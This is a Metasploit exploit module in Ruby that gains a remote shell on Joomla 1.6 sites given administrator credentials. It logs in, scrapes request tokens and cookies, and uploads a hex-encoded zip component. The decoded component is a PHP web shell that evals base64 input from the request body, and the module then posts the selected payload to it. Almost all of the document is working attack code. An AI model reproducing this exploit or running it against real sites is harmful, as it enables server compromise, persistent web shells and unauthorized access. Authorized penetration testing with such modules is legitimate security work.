# Requirements require 'msf/core' # Class declaration class Metasploit3 < Msf::Exploit::Remote # Includes include Msf::Exploit::Remote::HttpClient # Initialize module def initialize(info = {}) # Initialize information super(update_info(info, 'Name' => 'Joomla 1.6.* Administrator PHP Code Execution', 'Description' => %q{ This module can be used to gain a remote shell to a Joomla! 1.6.* install when administrator credentials are known. This is acheived by uploading a malicious component which is used to execute the selected payload. }, 'Author' => [ 'James Bercegay ( http://www.gulftech.org/ )' ], 'License' => MSF_LICENSE, 'Privileged' => false, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [[ 'Automatic', { }]], 'DefaultTarget' => 0 )) register_options( [ # Required OptString.new('JDIR', [true, 'Joomla directory', '/']), OptString.new('JUSR', [true, 'Joomla admin username', nil]), OptString.new('JPWD', [true, 'Joomla admin password', nil]), # Optional OptBool.new( 'DBUG', [false, 'Verbose output? (Debug)' , nil ]), OptString.new('AGNT', [false, 'User Agent Info' , 'Mozilla/5.0' ]), ], self.class) end ################################################# # Extract "Set-Cookie" def init_cookie(data, cstr = true) # Raw request? Or cookie data specifically? data = data.headers['Set-Cookie'] ? data.headers['Set-Cookie']: data # Beginning if ( data ) # Break them apart data = data.split(', ') # Initialize ctmp = '' tmps = {} # Parse cookies data.each do | x | # Remove extra data x = x.split(';')[0] # Seperate cookie pairs if ( x =~ /([^;\s]+)=([^;\s]+)/im ) # Key k = $1 # Val v = $2 # Valid cookie value? if ( v.length() > 0 ) # Build cookie hash tmps[k] = v # Report cookie status print_status("Got Cookie: #{k} => #{v}"); end end end # Build string data if ( cstr == true ) # Loop tmps.each do |x,y| # Cookie key/value ctmp << "#{x}=#{y};" end # Assign tmps['cstr'] = ctmp end # Return return tmps else # Something may be wrong init_debug("No cookies within the given response") end end ################################################# # Simple debugging output def init_debug(resp, exit = 0) # is DBUG set? Check it if ( datastore['DBUG'] ) # Print debugging data print_status("######### DEBUG! ########") pp resp print_status("#########################") end # Continue execution if ( exit.to_i > 0 ) # Exit exit(0) end end ################################################# # Generic post wrapper def http_post(url, data, headers = {}, timeout = 15) # Protocol proto = datastore['SSL'] ? 'https': 'http' # Determine request url url = url.length ? url: '' # Determine User-Agent headers['User-Agent'] = headers['User-Agent'] ? headers['User-Agent'] : datastore['AGNT'] # Determine Content-Type headers['Content-Type'] = headers['Content-Type'] ? headers['Content-Type'] : "application/x-www-form-urlencoded" # Determine Content-Length headers['Content-Length'] = data.length # Determine Referer headers['Referer'] = headers['Referer'] ? headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}" # Delete all the null headers headers.each do | hkey, hval | # Null value if ( !hval ) # Delete header key headers.delete(hkey) end end # Send request resp = send_request_raw( { 'uri' => datastore['JDIR'] + url, 'method' => 'POST', 'data' => data, 'headers' => headers }, timeout ) # Returned return resp end ################################################# # Generic post multipart wrapper def http_post_multipart(url, data, headers = {}, timeout = 15) # Boundary string bndr = Rex::Text.rand_text_alphanumeric(8) # Protocol proto = datastore['SSL'] ? 'https': 'http' # Determine request url url = url.length ? url: '' # Determine User-Agent headers['User-Agent'] = headers['User-Agent'] ? headers['User-Agent'] : datastore['AGNT'] # Determine Content-Type headers['Content-Type'] = headers['Content-Type'] ? headers['Content-Type'] : "multipart/form-data; boundary=#{bndr}" # Determine Referer headers['Referer'] = headers['Referer'] ? headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}" # Delete all the null headers headers.each do | hkey, hval | # Null value if ( !hval ) # Delete header key headers.delete(hkey) end end # Init temp = '' # Parse form values data.each do |name, value| # Hash means file data if ( value.is_a?(Hash) ) # Validate form fields filename = value['filename'] ? value['filename']: init_debug("Filename value missing from #{name}", 1) contents = value['contents'] ? value['contents']: init_debug("Contents value missing from #{name}", 1) mimetype = value['mimetype'] ? value['mimetype']: init_debug("Mimetype value missing from #{name}", 1) encoding = value['encoding'] ? value['encoding']: "Binary" # Build multipart data temp << "--#{bndr}\r\n" temp << "Content-Disposition: form-data; name=\"#{name}\"; filename=\"#{filename}\"\r\n" temp << "Content-Type: #{mimetype}\r\n" temp << "Content-Transfer-Encoding: #{encoding}\r\n" temp << "\r\n" temp << "#{contents}\r\n" else # Build multipart data temp << "--#{bndr}\r\n" temp << "Content-Disposition: form-data; name=\"#{name}\";\r\n" temp << "\r\n" temp << "#{value}\r\n" end end # Complete the form data temp << "--#{bndr}--\r\n" # Assigned data = temp # Determine Content-Length headers['Content-Length'] = data.length # Send request resp = send_request_raw( { 'uri' => datastore['JDIR'] + url, 'method' => 'POST', 'data' => data, 'headers' => headers }, timeout) # Returned return resp end ################################################# # Generic get wrapper def http_get(url, headers = {}, timeout = 15) # Protocol proto = datastore['SSL'] ? 'https': 'http' # Determine request url url = url.length ? url: '' # Determine User-Agent headers['User-Agent'] = headers['User-Agent'] ? headers['User-Agent'] : datastore['AGNT'] # Determine Referer headers['Referer'] = headers['Referer'] ? headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}" # Delete all the null headers headers.each do | hkey, hval | # Null value // Also, remove post specific data, due to a bug ... if ( !hval || hkey == "Content-Type" || hkey == "Content-Length" ) # Delete header key headers.delete(hkey) end end # Send request resp = send_request_raw({ 'uri' => datastore['JDIR'] + url, 'headers' => headers, 'method' => 'GET', }, timeout) # Returned return resp end ################################################# def check # Banner grab request resp = http_get("index.php") # Extract Joomla version information if ( resp.body =~ /name="generator" content="Joomla! ([^\s]+)/ ) # Version vers = $1.strip # Version "parts" ver1, ver2, ver3 = vers.split(/\./) # Only if 1.6.0 aka 1.6 if ( ver2.to_i != 6 ) # Safe print_error("Only compatible with the Joomla 1.6 branch") return Exploit::CheckCode::Safe else # Vulnerable return Exploit::CheckCode::Vulnerable end else # Verbose print_error("Unable to determine Joomla version ...") return Exploit::CheckCode::Safe end end ################################################# def exploit # Numeric test string tstr = Time.now.to_i.to_s # MD5 test string tmd5 = Rex::Text.md5(tstr) # Encoded payload load = payload.encoded # Credentials user = datastore['JUSR'] pass = datastore['JPWD'] # Verbose print_status("Attempting to extract a valid request token") # Request a valid token resp = http_get("administrator/index.php") # Extract token if ( resp.body =~ /['|"]([a-f0-9]{32})["|']/ ) # Token rtok = $1 # Verbose print_status("Got token: #{rtok}") else # Failure print_error("Unable to extract request token. Exploit failed!") init_debug(resp) return end # Init cookie cook = init_cookie(resp) # Build headers for authenticated session hdrs = { "Cookie" => cook['cstr'] } # Verbose print_status("Attempting to login as: #{user}") # Post data for login request post = "username=#{user}&passwd=#{pass}&lang=&option=com_login&task=login&#{rtok}=1" # Login request resp = http_post("administrator/index.php", post, hdrs) # Authentication successful??? if ( resp && resp.code == 303 ) # Success print_status("Successfully logged in as: #{user}") else # Failure print_error("Unable to authenticate. Exploit failed!") init_debug(resp) return end # Verbose print_status("Attempting to extract refreshed request token") # Request a valid token (again) resp = http_get("administrator/index.php?option=com_installer", hdrs) # Extract token if ( resp.body =~ /['|"]([a-f0-9]{32})["|']/ ) # Token rtok = $1 # Verbose print_status("Got token: #{rtok}") else # Failure print_error("Unable to extract request token. Exploit failed!") init_debug(resp.body) return end # Component specific data cstr = "joomla" czip = "com_#{cstr}.zip" curi = "components/com_#{cstr}/#{cstr}.php" ################################################# # Our Joomla specific PHP payload wrapper that is # used to have more flexibility when delivering a # selected payload to a target. The wrapper is in # the Joomla! 1.6 compononent format and can also # be used with other Joomla exploits. ################################################# # # Type: Joomla 1.6 Component # File: com_joomla/joomla.xml <-- installer file # com_joomla/joomla.php <-- component file # # Data: ################################################# # Hex encoded component zip data wrap = "\x50\x4B\x03\x04\x0A\x00\x00\x00\x00\x00\x65\xB3\x9A\x3E\x00\x00" wrap << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0B\x00\x00\x00\x63\x6F" wrap << "\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x50\x4B\x03\x04\x0A\x00\x00" wrap << "\x00\x00\x00\x35\xB2\x9A\x3E\x53\x03\xF2\xF9\xAF\x00\x00\x00\xAF" wrap << "\x00\x00\x00\x15\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C" wrap << "\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x70\x68\x70\x3C\x3F\x70\x68" wrap << "\x70\x0D\x0A\x23\x20\x4D\x6F\x64\x69\x66\x79\x20\x73\x65\x74\x74" wrap << "\x69\x6E\x67\x73\x0D\x0A\x65\x72\x72\x6F\x72\x5F\x72\x65\x70\x6F" wrap << "\x72\x74\x69\x6E\x67\x28\x30\x29\x3B\x0D\x0A\x69\x6E\x69\x5F\x73" wrap << "\x65\x74\x28\x27\x6D\x61\x78\x5F\x65\x78\x65\x63\x75\x74\x69\x6F" wrap << "\x6E\x5F\x74\x69\x6D\x65\x27\x2C\x20\x30\x29\x3B\x0D\x0A\x0D\x0A" wrap << "\x23\x20\x45\x78\x65\x63\x75\x74\x65\x20\x74\x68\x65\x20\x73\x65" wrap << "\x6C\x65\x63\x74\x65\x64\x20\x70\x61\x79\x6C\x6F\x61\x64\x0D\x0A" wrap << "\x40\x65\x76\x61\x6C\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63" wrap << "\x6F\x64\x65\x28\x66\x69\x6C\x65\x5F\x67\x65\x74\x5F\x63\x6F\x6E" wrap << "\x74\x65\x6E\x74\x73\x28\x27\x70\x68\x70\x3A\x2F\x2F\x69\x6E\x70" wrap << "\x75\x74\x27\x29\x29\x29\x3B\x0D\x0A\x3F\x3E\x50\x4B\x03\x04\x0A" wrap << "\x00\x00\x00\x00\x00\x91\xB6\x9A\x3E\x8D\x4A\x99\xA9\x07\x01\x00" wrap << "\x00\x07\x01\x00\x00\x15\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F" wrap << "\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x78\x6D\x6C\x3C\x3F" wrap << "\x78\x6D\x6C\x20\x76\x65\x72\x73\x69\x6F\x6E\x3D\x22\x31\x2E\x30" wrap << "\x22\x20\x65\x6E\x63\x6F\x64\x69\x6E\x67\x3D\x22\x75\x74\x66\x2D" wrap << "\x38\x22\x3F\x3E\x0D\x0A\x3C\x65\x78\x74\x65\x6E\x73\x69\x6F\x6E" wrap << "\x20\x74\x79\x70\x65\x3D\x22\x63\x6F\x6D\x70\x6F\x6E\x65\x6E\x74" wrap << "\x22\x20\x76\x65\x72\x73\x69\x6F\x6E\x3D\x22\x31\x2E\x36\x2E\x30" wrap << "\x22\x3E\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x6E\x61" wrap << "\x6D\x65\x3E\x4A\x6F\x6F\x6D\x6C\x61\x3C\x2F\x6E\x61\x6D\x65\x3E" wrap << "\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x66\x69\x6C\x65\x73" wrap << "\x20\x66\x6F\x6C\x64\x65\x72\x3D\x22\x73\x69\x74\x65\x22\x3E\x3C" wrap << "\x66\x69\x6C\x65\x6E\x61\x6D\x65\x3E\x6A\x6F\x6F\x6D\x6C\x61\x2E" wrap << "\x70\x68\x70\x3C\x2F\x66\x69\x6C\x65\x6E\x61\x6D\x65\x3E\x3C\x2F" wrap << "\x66\x69\x6C\x65\x73\x3E\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20" wrap << "\x20\x3C\x61\x64\x6D\x69\x6E\x69\x73\x74\x72\x61\x74\x69\x6F\x6E" wrap << "\x3E\x3C\x6D\x65\x6E\x75\x3E\x4A\x6F\x6F\x6D\x6C\x61\x3C\x2F\x6D" wrap << "\x65\x6E\x75\x3E\x3C\x2F\x61\x64\x6D\x69\x6E\x69\x73\x74\x72\x61" wrap << "\x74\x69\x6F\x6E\x3E\x0D\x0A\x3C\x2F\x65\x78\x74\x65\x6E\x73\x69" wrap << "\x6F\x6E\x3E\x0D\x0A\x50\x4B\x01\x02\x14\x00\x0A\x00\x00\x00\x00" wrap << "\x00\x65\xB3\x9A\x3E\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" wrap << "\x00\x0B\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00" wrap << "\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x50\x4B" wrap << "\x01\x02\x14\x00\x0A\x00\x00\x00\x00\x00\x35\xB2\x9A\x3E\x53\x03" wrap << "\xF2\xF9\xAF\x00\x00\x00\xAF\x00\x00\x00\x15\x00\x00\x00\x00\x00" wrap << "\x00\x00\x00\x00\x20\x00\x00\x00\x29\x00\x00\x00\x63\x6F\x6D\x5F" wrap << "\x6A\x6F\x6F\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x70\x68" wrap << "\x70\x50\x4B\x01\x02\x14\x00\x0A\x00\x00\x00\x00\x00\x91\xB6\x9A" wrap << "\x3E\x8D\x4A\x99\xA9\x07\x01\x00\x00\x07\x01\x00\x00\x15\x00\x00" wrap << "\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x0B\x01\x00\x00\x63" wrap << "\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61" wrap << "\x2E\x78\x6D\x6C\x50\x4B\x05\x06\x00\x00\x00\x00\x03\x00\x03\x00" wrap << "\xBF\x00\x00\x00\x45\x02\x00\x00\x00\x00" # Verbose print_status("Attempting to upload payload wrapper component") # Post data data = { # Component data 'install_package' => { 'filename' => czip, 'contents' => wrap, 'mimetype' => 'application/zip', 'encoding' => 'binary', }, # Required install params "installtype" => "upload", "task" => "install.install", "#{rtok}" => "1", } # Upload the wrapper component init_debug(http_post_multipart("administrator/index.php?option=com_installer&view=install", data, hdrs)) # Deliver the selected payload to the target init_debug(http_post(curi, Rex::Text.encode_base64(load))) # Shell handler end end